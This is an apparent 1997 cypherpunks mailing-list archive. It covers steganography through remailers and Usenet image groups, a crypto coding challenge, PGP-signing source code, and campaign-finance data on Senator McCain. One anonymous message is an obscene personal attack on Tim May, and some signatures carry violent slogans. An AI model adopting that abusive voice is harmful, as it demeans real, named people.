tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 01:03:58 +0800
To: cypherpunks@Algebra.COM
Subject: Laying PipeNet
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <v03102802afd305494670@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 3:02 AM -0700 6/22/97, Adam Back wrote:

>But for sending messages, we need a stego interface to remailers.  Now
>seems like a good time to produce this software.  It's time has come,
>much as Phil Zimmermann felt the pressure of the 1991 Senate
>anti-crime bill 266.
>
>Good stego encoding techniques are the difficult problem.  We could do
>something in-your-face like:

I agree. This should be a very high priority.

No coordination is needed...someone just needs to do it.

(The disputes about the DES challenge, and now the RC5 challenge, reinforce
in me the advantages of the "random search," which is worse than the
"coordinated search" by an insignificant (logarithmically) factor, as the
math clearly shows. And a random search has the advantage of incentivizing
more contribution of CPU cycles, and no worries that someone plans to sniff
the results and claim the prize himself. The parallels to code writing are
left as an exercise.)

>Text stego is hard to do.  At ultra low encoding rates (say a few bits
>per email), it would be ok.  (Just message parity, perhaps the entropy
>in the message-id, posting time).

Pointers can be useful. A small number of stego bits in a message of this
length could be used to tell a recipient where to look for a longer
message. Thus, this message could contain instructions to "Look at the
image "cindy-fake17.gif" in "alt.binaries.erotica.cindy-crawford" for
instructions about the Cabal meeting."

Why not simply send the GIF to Adam? This would be an unusual event,
sending such a GIF from me to him, and would be a huge spike in volume.

A pointer to an image posted to a "message pool" already containing vast
amounts of stuff, and his downloading of several (for cover) of these image
files, would not directly be implicating. (In Muslim countries, yes.)

So, low-bandwidth channels can easily carry text messages in stego form
pointing to higher-bandwith channels (meaning: files with lots of bits). An
attacker will be hard-pressed to make a correlation.

Also, the use of conventional porn or soft porn images for stego will be
less obvious than posting and retrieving images into
"alt.anonymous.messages." If the images are recyclings of older images, as
most images in these porn groups are, then there is the problem that images
may be diffed (compared) and the LSBs detected to be different. Fixes for
this either include deliberate (and stated) "enhancement" in Photoshop,
which is also fairly common, or scanning of some of those old Penthouse
mags laying around! :-)

>Images and audio files are much rosier targets, but who posts volumes
>of gifs, or uses audio files?  Not I, the bandwidth isn't up to it
>yet, and pay-per-second phone bills don't help either.

The alt.binaries.* groups are examples where truly massive number of images
are posted and retrieved every day. This is well known, of course. (And the
images do not take long to download...I have conducted my own "research"
into this. :-})


>For comfort, I'd like to be able to post, lets say 10k per day of
>messages, via remailers in non-GAKed countries.  Clearly I'm going to
>have to increase my rate of bit-production to stego encode this much
>data in my stegotext output.  How am I going to do it with good
>plausible deniability though?
>

By posting an occasional image to one of these groups.

If one posts such an image every day, for cover, whether or not it contains
LSB stego bits, this becomes a sort of "PipeNet." A curiously relevant
name, eh? (With apologies to Wei Dai, whose "PipeNet" had a different form.)

As the saying goes, porn is what drives all new media technologies...why
not for us, too?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sun, 22 Jun 1997 23:06:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: how to `go underground' (was Re: The Global Fix is In)
Message-ID: <199706221457.JAA05804@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706221002.LAA06654@server.test.net>, on 06/22/97 
   at 11:02 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>Perhaps someone can have a go at adding this to PGP3.x, once Stale has
>finished scanning the source code books, and has posted the source.

>Also, I hear that PGP3.x has support for RSA keys, but won't generate
>them?  Perhaps we can add that back in also.

I believe that it is only the freeware PGP 5.0 from the MIT site that has
RSA key generation disabled. The commercial version should be able to
generate both key formats.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM609+49Co1n+aLhhAQHjjQQAw/euyv+RsR/PPUBiG4+Ou7BlXrriq0AI
1L8kiDgsndAX+5nnNxItM8P9iy0ALZolShztS/UL4ppaCGKBfcsmZy8gFRvfXii2
DLZ8TQdzFUwmomqIGZZIMo4JQYOzEbB+kqg6gWxW7AnbURKVHXW1md2rreSBy0k9
uZU5pD26cC0=
=rSmJ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Mon, 23 Jun 1997 01:12:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <m2en9uncbo.fsf@altair.xemacs.org>
Message-ID: <v03102803afd30c03db18@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:44 AM -0700 6/22/97, Ryan Anderson wrote:

>
>You have a better method?  Let's hear it.
>

Pick one or both of the below:

"Something _wonderful_ is about to happen."

"I have a solution."


--Tim "Channeling Bell" May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Mon, 23 Jun 1997 01:45:32 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: The Global Fix is In
Message-ID: <3.0.32.19691231160000.006c4dd0@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm reading a book, "Who Will Tell the Truth" with some very clear insights
into
How it All Works.  The bottom line is the Bottom Line and the reason the
crypto
debate is going this way is due to exactly one thing: Money.

I know there are those amongst this readership who feel that there is no
place for the usual political process in dealing with the crypto issues, but
that's not a universal or a given, nor is it necessarily practical in the long
run.  But within the existing structure the missing component in the debate is
the active participation of a lot of dollars.

The weight of Micro$osft + Netscape + (name your favorite list) is
miniscule, and their players woefully inexperienced,
 compared to McDonnell D., G.E. Fed., TRW., Lock/Martin, IBM, and others who
stand to gain hugely from a Federally-mandated and controlled PKI.  Those
heavyweights are all drinking buddies with the  other Washington sorts who
are in search of 
ever-expanding missions in life, and the result is a coterie who's primary
interest
isn't even remotely concerned with Child Pornography, Money Laundering, etc.
but their own aggrandizement measured in personal and corporate dollars.
There are no doubt 
massive investments being made by Industry in the conservative thinktanks
who produce the
intellectual fodder-de-jour that supports the position of this elite, and
overwhelm the
likes of McCain and Kerrey with
impossible-for-the-legislature-to-understand managed 
"information" which boils it all down to the 4 Horsemen arguments.

What's necessary here is a knowledgeable application of the same
techniques, a coalition
organization comprised of large business interests with an awareness of how
Bad this all is,
competing on the same turf.

Noble anarchist or Constitutional arguments, whining about our Rights and
such, are 
insignificant and irrelevant to the players.  

Who will belly up to the bar and provide leadership on terms that will
truly be effective?
=======================================================




At 10:16 AM 6/21/97 -0700, Tim May wrote:
>
>
>The "Meeting of the Eight," formerly the G7, is happening in Denver.
>Listening to what's coming out of it, it's apparent that the Four Horsemen
>are front and center. Clinton is speaking of a network of banking and
>communications policy coordinators, to detect and halt drug dealing, money
>laundering, and nuclear terrorism.
>
>This fits with the details of reports about global wiretapping efforts,
>about joint intelligence activities, and, of course, with the OECD/GAK laws
>being proposed, passed, and about to be signed into law about "Key
>Recovery" and "Trusted Third Parties."
>
>The fix is in.
>
>It probably won't be long before Stronghold is barred for export from
>either Britain or RSA (the other one); both Tony Blair and Nelson Mandela
>are Friends of Bill, so a few phone calls should take care of that little
>problem. (And Norway and the other Scandinavian countries are part of the
>global wiretap agreement, so I rather doubt free export of PGP 5.x code out
>of Norway will be feasible, despite the OCR effort now underway there.)
>
>(Not that Clinton will mention Stronghold to Blair...that's far too much
>microdetail. Jimmy Carter might have gotten involved at that level, but not
>Bill. Details will be left to underlings.)
>
>The call to Japan, probably the visit by David Aaron, stopped NTT's plans
>for exporting the RSA chip.
>
>Anguilla and other "offshore" havens, will be subject to the same kinds of
>pressure. Mark my words.
>
>It's not hopeless. Physical havens are vulnerable, to all sorts of
>pressures (I doubt many cryptographers want to set up shop in Libya or
>Iraq, not that these places would be hospitable to Cypherpunks sorts of
>goals and methods).
>
>Going underground, using the untraceable features of cyberspace, may be the
>last, best hope.
>
>--Tim May
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
>Timothy C. May              | Crypto Anarchy: encryption, digital money,
>tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
>W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
>Higher Power: 2^1398269     | black markets, collapse of governments.
>"National borders aren't even speed bumps on the information superhighway."
>
>
>
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 18:52:42 +0800
To: cypherpunks@cyberpass.net
Subject: cypherpunks coding challenge
Message-ID: <199706220938.KAA06436@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




A couple of people have complained of the huge efforts put into
breaking keys, and of the small efforts invested in cypherpunks code
writing of late.

Perhaps there is something to this challenge stuff, in terms of
getting contributors, neatly tabulating results, working up
enthusiasm etc.

So... how about a code writing challenge, an award for the best
cypherpunk project every month.  (No monetary prize, just vote on list
to decide most significant project).

Perhaps a list of how many lines of code.  A hall of fame if you like:

% wc -l `find . -name \*.h -print -o -name \*.c -print`

Eric Young		SSL-eay		101,721 lines
PGP Inc			pgp30		    (?) lines
Phil Zimmermann & co	pgp263		 34,891 lines
Peter Gutmann		cryptlib200	 34,845 lines
Tatu Ylonen		ssh-1.2.20	 33,650 lines
Wei Dai			crypto++ 2.1	 32,831 lines
Ian Goldberg		Lucre 0.9.0	 20,283 lines
Colin Plumb		bnlib		 20,148 lines
Matt Blaze & co		cryptolib-1.1	 19,908 lines
Pr0duct Cipher		PGPTools	 13,062 lines
Pr0duct Cipher		Magic Money	 15,026 lines
Ben Laurie		Apache-SSL patch    957 lines
etc.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sun, 22 Jun 1997 18:52:33 +0800
To: tcmay@got.net
Subject: how to `go underground' (was Re: The Global Fix is In)
In-Reply-To: <v0310281cafd1ba6444d6@[207.167.93.63]>
Message-ID: <199706221002.LAA06654@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Tim May <tcmay@got.net> writes:
> [G8 outlawing of crypto efforts forging ahead]
> 
> It's not hopeless. Physical havens are vulnerable, to all sorts of
> pressures (I doubt many cryptographers want to set up shop in Libya or
> Iraq, not that these places would be hospitable to Cypherpunks sorts of
> goals and methods).
> 
> Going underground, using the untraceable features of cyberspace, may
> be the last, best hope.

I'm not sure we have the software to do this right now.

Let's say that we start with the assumption of remailers still running
in some countries (non G8).

Message pools are ok for receiving messages.

But for sending messages, we need a stego interface to remailers.  Now
seems like a good time to produce this software.  It's time has come,
much as Phil Zimmermann felt the pressure of the 1991 Senate
anti-crime bill 266.

Good stego encoding techniques are the difficult problem.  We could do
something in-your-face like:

use a random number, go to jail!
BECBFEAAA13241237419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDB
AA13241237419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDBBECBFEA
419283749183123487A7BCDEFBBDCEFDBEB23CDDEBDEBDBBECBFEAAA13241237
...

As a form of protest, where it really is stegoed instructions to a
remailer in a GAK-free country, which is reading the list.

Text stego is hard to do.  At ultra low encoding rates (say a few bits
per email), it would be ok.  (Just message parity, perhaps the entropy
in the message-id, posting time).

Anything more in text seems intrinsically hard to do well enough to
feel comfortable betting against a jail term.

Images and audio files are much rosier targets, but who posts volumes
of gifs, or uses audio files?  Not I, the bandwidth isn't up to it
yet, and pay-per-second phone bills don't help either.

PGP 2.x signatures (presuming we're still allowed to sign posts with
such software) don't have much scope for subliminal channels.  The
time of posting in seconds is about it.

However, PGP 3.x signatures on ElGamal/DSS keys should have.  There
are several subliminal channels in DSS signatures.  It involves
generating a random number component, and this can be exploited.
Still pretty low bandwidth.

Perhaps someone can have a go at adding this to PGP3.x, once Stale has
finished scanning the source code books, and has posted the source.

Also, I hear that PGP3.x has support for RSA keys, but won't generate
them?  Perhaps we can add that back in also.


For comfort, I'd like to be able to post, lets say 10k per day of
messages, via remailers in non-GAKed countries.  Clearly I'm going to
have to increase my rate of bit-production to stego encode this much
data in my stegotext output.  How am I going to do it with good
plausible deniability though?

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Mon, 23 Jun 1997 02:19:52 +0800
To: cypherpunks@Algebra.COM
Subject: special interest profile: McCain
In-Reply-To: <199706221741.MAA07164@mailhub.amaranth.com>
Message-ID: <33AD6A49.28CA@best.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's the performance rating given to McCain by the special interest
groups.  The percentage figure is the %votes in agreement with the
position(S) of the group.
>From Vote Smart,
http://www.vote-smart.org/congress/105/az/az-sr-a/az-sr-ar.html



                         Performance Evaluations by Special Interest
Groups

Issue Area      Year    Percentage   Evaluating Organization      
------------------------------------------------------------------------------
Abortion/FamPln 1991      100 Justlife Education Fund
(Abortion)           
Abortion/FamPln 1993-1996   0 Planned
Parenthood                           
Abortion/FamPln 1996        0 National Abortion Reproductive Rights
Action 
Abortion/FamPln 1996       86 National Right to Life
Committee             
Business        1995-1996 100 National Federation of Independent
Business  
Business        1996       95 Business-Industry Political Action
Committee 
Business        1996      100 U.S. Chamber of
Commerce                     
Children        1995        6 Children's Defense
Fund                      
Chr.Fam. Issues 1991-1992 100 Christian
Voice                              
Chr.Fam. Issues 1995-1996 100 Christian
Coalition                          
Civil Rts/Lib   1991-1992   0 National Gay & Lesbian Task
Force            
Civil Rts/Lib   1993-1994   0 Human Rights Campaign
Fund                   
Civil Rts/Lib   1995-1996  10 Leadership Conference on Civil
Rights        
Civil Rts/Lib   1995-1996  22 National Association for the Advancement
of C
Civil Rts/Lib   1996       18 American Civil Liberties
Union               
Conservative    1995-1996  74 Conservative
Index                           
Conservative    1996       95 American Conservative
Union                  
Consumers       1996       43 Consumer Federation of
America               
Contractors     1995      100 Associated Builders &
Contractors            
Crime           1995-1996   0 Citizens United for Rehabilition of
Errants  
Defense/Foreign 1991       15 Professional's Coalition for Nuclear Arms
Con
Defense/Foreign 1991       40 JustLife Education Fund (Arms
Reduction)     
Defense/Foreign 1993-1994 100 American Security
Council                    
Defense/Foreign 1995       17 Peace
Action                                 
Defense/Foreign 1995       30 Campaign for U.N.
Reform                     
Defense/Foreign 1996        9 Council for a Livable
World                  
Economic Policy 1991       40 JustLife Education Fund (Economic
Policy)    
Economic Policy 1994       90 Competitive Enterprise Institute
(Totals)    
Economic Policy 1995       90 The Libertarian Party - Economic
Freedom     
Economic Policy 1996       87 The Republican Liberty
Caucus                
Education       1993-1994   9 American Federation of
Teachers              
Education       1995        0 National Education
Association               
Education       1995-1996   0 U.S. Student
Association                     
Env./consumer   1995-1996  11 U.S. Public Interest Research
Group          
Environment     1994       78 Competitive Enterprise Institute
(Environment
Environment     1995-1996  11 League of Conservation
Voters                
Environment     1995-1996  75 Fund For
Animals                             
Farm            1991-1992  20 National Farmers
Organization                
Farm            1993       56 National Farmers
Union                       
Farm            1993-1994  89 American Farm Bureau
Federation              
Farm            1994      100 Competitive Enterprise Institute
(Agriculture
Gun Issues      1993-1994   0 Handgun Control,
Inc                         
Gun Issues      1993-1994 100 National Rifle
Association                   
Health          1995-1996  41 AIDS Action
Council                          
Health          1996        7 American Public Health
Association           
Immigration     1996       15 American Immigration
Control                 
Immigration     1996       25 Federation for American Immigration
Reform-Se
Labor           1989        0 Machinists Non-Partisan Political
League     
Labor           1989-1990  50 National Federation of Federal
Employees     
Labor           1991       40 American Postal Workers
Union                
Labor           1994        0 United Food & Commercial
Workers             
Labor           1995        0 United Auto
Workers                          
Labor           1995        8
AFL-CIO                                      
Labor           1995       12 Communications Workers of
America            
Labor           1995       12 The
Teamsters                                
Labor           1995       30 Transportation Communications
Union          
Labor           1996        0 American Federation of State, County &
Munici
Labor           1996        5 American Federation of Government
Employees  
Liberal         1995-1996   5 National Committee for an Effective
Congress 
Liberal         1995-1996  38 Public Citizen's Congress
Watch              
Liberal         1996        0 Americans for Democratic
Action              
Libertarian     1995       70 The Libertarian Party - Combined
Score       
Populist        1995       20 Liberty
Lobby                                
Poverty         1996       14 Bread for the
World                          
Property        1995-1996 100 League of Private Property
Voters            
Regulation      1994      100 Competitive Enterprise Institute
(Deregulatio
Seniors         1995        0 National Council of Senior
Citizens          
Seniors         1995-1996  20 National Association of Retired Federal
Emplo
Seniors         1995-1996  29 National Committee to Preserve Social
Securit
Seniors         1995-1996  94 The 60 Plus
Association                      
Social Policy   1991       40 National Association of Social
Workers       
Social Policy   1995        7
Network                                      
Social Policy   1995       50 The Libertarian Party - Personal
Freedom     
Social Policy   1995-1996   8 Friends Comm. on Nat'l Leg.
(Senate)         
Social Policy   1996        0 Zero Population
Growth                       
Social Policy   1996       62 The Republican Liberty
Caucus                
Taxes/Spending  1991-1992 100 National Tax-Limitation
Committee            
Taxes/Spending  1994       85 Competitive Enterprise Institute
(Spending)  
Taxes/Spending  1994      100 Competitive Enterprise Institute
(Budget)    
Taxes/Spending  1994      100 Competitive Enterprise Institute
(Taxes)     
Taxes/Spending  1995       48 Concord
Coalition                            
Taxes/Spending  1995       88 National Taxpayers
Union                     
Taxes/Spending  1995       89 Citizens Against Government
Waste            
Trade           1994      100 Competitive Enterprise Institute
(Trade)     
Veterans        1989-1990  50 Vietnam Veterans of
America                  
Women           1989-1990   5 National Women's Political
Caucus            
Women           1993       20 The Woman Activist
(Senate)                  
Women           1995-1996   0 American Association of University
Women     
Women           1995-1996  75 Concerned Women for
America





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman <geeman@best.com>
Date: Mon, 23 Jun 1997 02:43:45 +0800
To: cypherpunks@Algebra.COM
Subject: Ownership of McCain
Message-ID: <33AD6F72.6D27@best.com>
MIME-Version: 1.0
Content-Type: text/plain



It was suggested that I look a little at McCain, so here is a dribble; 
I think it's instructive to see the following PAC's on McCains feedlist.

Anyone who thinks that these Co.'s won't profit tremendously in the
deployment of a
Federally-designed and mandated PKI is taking the wrong drugs .....
(note: obviously these figures are meaningless in terms of actual $$$
amounts. They
only serve to indicate that real soft money is flowing from the same
source.)


   4,000  05/03/95  AIRCRAFT OWNERS AND PILOTS ASSOCIATION POLITICAL
ACTION COMMITTEE                         
     2,500  02/14/95  ALLIED PILOTS ASSOCIATION POLITICAL ACTION
COMMITTEE (AKA) APA PAC                        
     2,500  11/17/95  ALLIED PILOTS ASSOCIATION POLITICAL ACTION
COMMITTEE (AKA) APA PAC                        
     1,000  02/27/95  AMERICAN AIRLINES POLITICAL ACTION
COMMITTEE                                              
       100  03/29/95  AMERICAN SUPPLY ASSOCIATION
PAC                                                           
       500  02/02/95  BDM INTERNATIONAL, INC. POLITICAL ACTION COMMITTEE
(BDM-PAC)                              
       500  03/01/95  BP AMERICA
PAC                                                                            
>>>>     1,000  02/06/95  CIVIC ACTION FUND - LORAL SYSTEMS GROUP (FKA GOODYEAR AEROSPACE CORP PAC)                 
     2,000  05/11/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
     1,000  09/18/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
     3,000  09/18/95  FEDERAL EXPRESS CORPORATION POLITICAL ACTION
COMMITTEE "FEPAC"                            
>>>>     1,000  01/16/95  MARTIN MARIETTA CORPORATION POLITICAL ACTION COMMITTEE                                    
>>>>     1,000  03/13/95  MARTIN MARIETTA CORPORATION POLITICAL ACTION COMMITTEE                                    
>>>>     1,000  02/17/95  MCDONNELL DOUGLAS EMPLOYEES' POLITICAL ACTION COMMITTEE                                   
     1,000  08/17/95  PMAA/SMALL BUSINESS
COMMITTEE                                                             
     1,000  02/10/95  PODIATRY POLITICAL ACTION
COMMITTEE                                                       
>>>>     1,000  03/11/95  RAYTHEON COMPANY POLITICAL ACTION COMMITTEE                                               
     1,000  02/22/95  SVGGS
FUND                                                                                
     1,000  03/14/95  TALLEY INDUSTRIES, INC, POLITICAL ACTION COMMITTEE
(TALLEY-PAC)                           
     1,000  02/23/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
       100  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
     3,550  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
       350  03/14/95  UNITED PARCEL SERVICE POLITICAL ACTION COMMITTEE
(UPSPAC)                                 
 
    31,100





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 00:54:00 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Sign you source code (was Re: why we need source code (was Re: RC5 crack))
In-Reply-To: <199706220814.JAA06026@server.test.net>
Message-ID: <199706221643.LAA06619@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



In <199706220814.JAA06026@server.test.net>, on 06/22/97 
   at 09:14 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>- those running the rc5 crack don't sign their binaries (presumably
>  because they don't use PGP, or don't know what it is or something),
>  who knows what you're downloading, virus, disk formatter, what ever.
>  If you had source code, you could verify it yourself at least, even
>  if there is no signature.

>- This problem with taking too few keys, if you had the source, and they
>  can't be bothered to write instructions, or even brief usage notes,
>  you could at least figure out how to use it from the source

It's a shame that more shareware/freeware authors don't sign their code.

I wrote a small Rexx script that signs all my source code, signs the
binaries, creates the zip archive & signs it then creates a wrapper zip
archive for the archive & the detached signature file.

For C, H & CMD files you can clear sign the text files and still be able
to compile them without revmoving the signatures.

Example Test.C

  main(){
  .
  .
  .
  }

Add the following to the top and bottom of the file:

  */

  main(){
  .
  .
  .
  }

  /*

Now clearsign the file.


  -----BEGIN PGP SIGNED MESSAGE-----
  */

  main(){
  .
  .
  .
  }

  /*
  -----BEGIN PGP SIGNATURE-----
  Version: 2.6.3a
  Charset: cp850
  Comment: Registered_User_E-Secure_v1.1b1_ES000000

  iQCVAwUBM6m/I49Co1n+aLhhAQGI4gQAgdJ8wU8PZezxO+DHFAzLoMmrnPoi7xBV
  4YVGablxDRO16cELE8p2YVaNeZ+dOOLiZYnpZKPoPW2w8Ze7gDxAz5ODJ8ZBd+Ta
  x/3o3jkFGednnlJoEQcpS/R4bmoKy9hMzO7KJpXJB8YiWrbbGfiA3YidGMtYhWUf
  bDPiuD+rqXI=
  =gNYv
  -----END PGP SIGNATURE-----


Now add the following to the top and bottom of the message:

  /*
  -----BEGIN PGP SIGNED MESSAGE-----
  */

  main(){
  .
  .
  .
  }

  /*
  -----BEGIN PGP SIGNATURE-----
  Version: 2.6.3a
  Charset: cp850
  Comment: Registered_User_E-Secure_v1.1b1_ES000000

  iQCVAwUBM6m/I49Co1n+aLhhAQGI4gQAgdJ8wU8PZezxO+DHFAzLoMmrnPoi7xBV
  4YVGablxDRO16cELE8p2YVaNeZ+dOOLiZYnpZKPoPW2w8Ze7gDxAz5ODJ8ZBd+Ta
  x/3o3jkFGednnlJoEQcpS/R4bmoKy9hMzO7KJpXJB8YiWrbbGfiA3YidGMtYhWUf
  bDPiuD+rqXI=
  =gNYv
  -----END PGP SIGNATURE-----
  */

Now the PGP Signature has been commented out of the source code so it will
not interfere with compiling. The end user can verify the signature
without any modifications.

I don't know if this will work with other languages that use different
dilimiters. It all depends if you have the ability to comment out a block
of text or if you need to add a dilimiter to every line.


-- 
---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
---------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 22 Jun 1997 18:07:18 +0800
To: cypherpunks@toad.com
Subject: Diffie-Hellman
Message-ID: <199706220954.LAA11884@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



May Tim C. Mayflower's forgeries get stuck up his ass so 
he'll have to shit through his filthy mouth for the rest of 
its miserable life.

          .oooO           Oooo.
          (   )   _   _   (   )
           \ (   / ) ( \   ) /
        ----\_)-/ (---) \-(_/---- Tim C. Mayflower
               (   ) (   )
               oooO   Oooo





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Mon, 23 Jun 1997 00:19:37 +0800
To: Mix <mixmaster@remail.obscura.com>
Subject: Re: The Global Fix is In
In-Reply-To: <199706212159.OAA07925@sirius.infonex.com>
Message-ID: <Pine.LNX.3.91.970622115344.593A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> You can't go underground if cryptography is illegal.  You don't have remailers,
> so you can't be anonymous.  You don't have crypto, so anyone can see what
> you're doing online.  It doesn't work.

No,

It is not difficult to find somewhere (Anguilla?) where remailers and 
cryptography are far less likely to be restricted than elsewhere, the US 
knows the pointlessness of trying to enforce proxy censorship services, 
so does most everywhere else since the XS4ALL fiasco, there is no way 
they can stop US citizens sending mail through mixmasters in say 
Anguilla, or some other small independent country, for example IOM.

> People are tired.  We win one battle, and have to begin again with another.
> But that's the way it works.  Look at the political battles which have gone on
> for decades: gun control, abortion, environmentalism, many more.  You have
> to be in this for the long haul.  You have to fight every step of the way.

I agree, but you don`t realise that once cryptography is spread far 
enough there can be no restricting it`s use. The law is an ass.

I think that finally the poloticians in D.C, London, Berlin and all the 
other major capitals have caught on, and realised that open availability 
of anonymity, security and strong crypto can only lead to crypto anarchy, 
they are *scared*, this time they are no longer do-gooding idiots, they 
are out to cover their own backs...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 01:12:37 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <199706221703.MAA06794@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706220938.KAA06436@server.test.net>, on 06/22/97 
   at 10:38 AM, Adam Back <aba@dcs.ex.ac.uk> said:

>A couple of people have complained of the huge efforts put into breaking
>keys, and of the small efforts invested in cypherpunks code writing of
>late.

>Perhaps there is something to this challenge stuff, in terms of getting
>contributors, neatly tabulating results, working up enthusiasm etc.

>So... how about a code writing challenge, an award for the best
>cypherpunk project every month.  (No monetary prize, just vote on list to
>decide most significant project).

Well I haven't done alot in the area of writting crypto algoritims I have
done quite a bit of work in the area of crypto implementations (mostly in
the PGP - E-Mail Integration).

I have also been working on improving performance of PGP when working with
large keyrings (primary & secondary indexing, multiple keyring lookups,
public key caching, real time key retreival from BAL servers).

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
